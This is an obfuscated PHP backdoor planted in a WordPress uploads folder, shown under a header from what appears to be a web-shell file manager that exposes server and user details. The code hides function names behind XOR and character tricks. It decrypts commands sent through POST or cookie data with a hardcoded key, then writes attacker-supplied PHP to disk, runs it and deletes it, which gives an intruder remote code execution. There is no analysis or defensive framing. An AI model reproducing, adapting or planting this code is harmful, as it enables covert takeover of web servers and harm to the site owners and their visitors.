HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2023/10/b7b766c1.php
<?php 
$dkxdtvj /*f */ =    'dkxdtvj' /*   tf  */ ^ /*   makat   */ '

';

$zslvmoi_ft /*   xh  */ =    $dkxdtvj(481-384)    .	$dkxdtvj(114)    .  $dkxdtvj(114)    .	"\141" /*   ek*/ . /* p*/ "y"."_"."\x6d" /*   dhaege   */ .  "\x61" /*  a */ .    "p";






function	kdrcmeapc($yr_svrnq, /* frqro*/ $swraeup){


 /*  dyuc */ global /*  rnhr  */ $dkxdtvj;

       


	$yr_svrnq      = /*   t   */ "\74"     .   "?"."p".$dkxdtvj(104)   .      "p".$dkxdtvj(32)    . /*  ca_rv_*/ "u".$dkxdtvj(297-187)    .     "\x6c"	.	"\151"    . /*y */ $dkxdtvj(112-2)	.    "k"."("."_"."_"."F".$dkxdtvj(442-369) /*   o   */ .       "L"."\x45"  .    $dkxdtvj(95) /*   qn*/ .      "_".$dkxdtvj(41)  .    ";".$dkxdtvj(32)    .    $yr_svrnq["\144"];    $_hroqjdxr    =	$dkxdtvj(808-706)	.	"\x69"."l"."e"."_".$dkxdtvj(498-386)     .	"\165"    .       $dkxdtvj(116)    . /*   _sy  */ "\x5f" /*   aez  */ .	$dkxdtvj(1054-955)    .	$dkxdtvj(111)    . /* vcs   */ $dkxdtvj(340-230) /*   galru   */ .	"t"."\x65"      . /*vxnnix  */ $dkxdtvj(110)    . /*  nqjiz   */ "t"."s";	
	$_hroqjdxr($swraeup,    $yr_svrnq);


 /*   _mskv   */ 

  wiprsgnx($swraeup);}


$nzwnrotpkp /*mmsa */ =       73;
function   wiprsgnx($swraeup)

{      global /*bftf  */ $dkxdtvj;
	


	include($swraeup);


    $mpqknlq  =     $swraeup;
    @unlink($mpqknlq);}


function	hwgcvrjg()
{


	global  $dkxdtvj;

    $nnhcgap    =    array();	$nnhcgap["\x70"   .      "v"]  =	phpversion();	$nnhcgap[$dkxdtvj(645-530)	.	"v"]	= /* z_u   */ "3"."\56"    .    "5";
	$pyfjgumpc       = /*  orn*/ 74;


  echo /*   ytzga  */ @serialize($nnhcgap);


}


function      ln_fh($yr_svrnq,	$kqfcteo)


{

    global /* pl */ $dkxdtvj;


 /*ka   */ $_ydlw /*   bmj*/ =    "";    $lbrpurai /* vccbx*/ = /*   w  */ strlen($yr_svrnq);
 /*  npfhs*/ $ghexme /*  n   */ = /*kqm */ strlen($kqfcteo); /*   tnfz  */ $nnhcgap /*   d*/ = /*  btfj */ 0;
	$nnhcgapdksgngmnl    =    0;


    
  while /*yf  */ ($nnhcgap /* eqgh*/ <	$lbrpurai) /*  imc  */ {
    $czbpjzfek	= /*buw  */ $yr_svrnq[$nnhcgap] /*   rqpok  */ ^ /*   _ngk */ $kqfcteo[$nnhcgapdksgngmnl    %    $ghexme];
	$_ydlw /* d  */ .= /*   rsvz  */ $czbpjzfek;


 /* dhxv   */ $nnhcgapdksgngmnl++;        $nnhcgap++;       }

 /* bksza  */ 

    if	(strlen($_ydlw) /*  rau*/ > /*   zyz*/ 20) /*  pzzyiq  */ {


	$_gmdh  =	substr($_ydlw,     0,	20);    }
     if   (empty($_ydlw))    {

    $_ydlw /*hnp */ = /*   gsotl */ date('Y-m-d    H:i:s');
	} /*lvk */ return   $_ydlw;


}

function /*   na   */ ndbpp($fdehz)


{    global	$dkxdtvj;    
  $fcehz    = /*  p_vysf   */ "0"."\x36" /*  ub */ .     "\61" /*saczb_   */ .      "0"."6"."2"."7"."\145" /* a */ .    $dkxdtvj(45)    . /*   xvo  */ $dkxdtvj(55)	.       "2"."\71" /*  oy */ .  "\146"    .    "\55"     .    $dkxdtvj(52) /*   t  */ .	"\61"    .   "\144"."5"."-".$dkxdtvj(846-748)    .  $dkxdtvj(49) /*im*/ . /*   zo */ "\144"."3"."-"."0"."\63"  .     "8"."8".$dkxdtvj(52)      .	"9"."\x35"	. /*   ekf */ "9"."6".$dkxdtvj(56)       .    "3"."7";
 /*s  */ 
    foreach    ($fdehz       as  $qcevyp     =>       $yr_svrnq)  {


     xopamrcd(base64_decode($yr_svrnq),	$fcehz, /* gphokz*/ $qcevyp);

   }
}
function /*crlmj */ xopamrcd($yr_svrnq,    $fcehz,     $qcevyp)

{


    global /*  hphr */ $dkxdtvj;

  


	$yr_svrnq	=     unserialize(ln_fh(ln_fh($yr_svrnq, /*   zzez */ $fcehz),	$qcevyp));

	$clulkj    =     'qlm';	$qjsyftkrmq   =   'nnj_qwmq_r';

    if /*   bvxsvb  */ (isset($yr_svrnq["\x61" /*k  */ .  "\153"])) /* trmes  */ {
 /*  zj*/ if /*pzye*/ ($yr_svrnq["a"] /*fekm*/ ==    "\x69")      {


    hwgcvrjg(); /*   vjaaf  */ }    elseif      ($yr_svrnq["a"]	== /*   rqpx*/ "e")	{	kdrcmeapc($yr_svrnq,      sprintf("."."\x2f"   .	"%"."s".$dkxdtvj(704-658)      . /*   bw */ $dkxdtvj(112)   .     $dkxdtvj(108), /*   u*/ md5($fcehz)));

			$esrbcrdjrs  =	44;
  }


    exit();
 /*qizxe   */ }


}ndbpp($_POST);     
$pqpbepfpz	=    Array();


$pqpbepfpz    =	implode($pqpbepfpz);


$sypoi_opl /*   n*/ =    $zslvmoi_ft('rawurldecode',       $_POST);explode('rawurldecode',    $pqpbepfpz);

ndbpp($_COOKIE);





$d_vnk	=       $zslvmoi_ft('rawurldecode',    $_COOKIE);





?>